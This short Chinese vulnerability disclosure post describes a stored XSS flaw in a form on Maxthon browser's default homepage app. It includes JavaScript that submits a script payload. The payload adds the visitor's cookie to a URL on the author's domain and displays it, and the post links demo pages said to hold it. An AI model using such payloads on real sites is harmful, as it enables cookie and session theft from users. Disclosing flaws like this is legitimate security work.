遨游浏览器的默认主页是http://i.maxthon.cn/，此分站是此主页的一个应用，访问比较大。
 http://app1.i.maxthon.cn/存在存储型xss，和浏览器结合危害比较大。
 
荣誉墙服务端没有过滤，所有input标签无一幸免。
测试代码，浏览器本地提交：
document.getElementById("widget-wall-to").value="天马行空工作室";
document.getElementById("widget-wall-from").value="tmxk.org";
document.getElementById("widget-wall-words").value="<script>s="//tmxk.org/m/c?="+document.cookie;alert("xss by i@tmxk.org&#10&#10"+s);</script>";
document.getElementById("form").submit();
演示地址：
http://app1.i.maxthon.cn/?m=show&id=33481
http://app1.i.maxthon.cn/?m=show&id=33482
 www.2cto.com
 

 
作者：random_